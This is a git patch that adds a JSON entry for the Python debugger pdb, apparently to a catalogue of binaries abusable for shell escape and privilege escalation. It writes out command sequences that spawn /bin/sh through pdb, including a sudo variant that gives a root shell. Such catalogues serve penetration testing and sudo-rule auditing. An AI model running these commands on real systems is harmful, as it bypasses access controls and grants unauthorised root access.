From ea1789164e3507630f4dc028f3ff6c178fb3ea02 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Sun, 15 Mar 2020 14:39:31 +0100 Subject: [PATCH] add data source for pdb --- data/pdb.json | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 data/pdb.json diff --git a/data/pdb.json b/data/pdb.json new file mode 100644 index 0000000..2e82134 --- /dev/null +++ b/data/pdb.json @@ -0,0 +1,15 @@ +{ + "description": "This allows to execute Python code, other functions may apply.", + "functions": { + "shell": [ + { + "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\npdb $TF\ncont\n" + } + ], + "sudo": [ + { + "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\nsudo pdb $TF\ncont\n" + } + ] + } +} \ No newline at end of file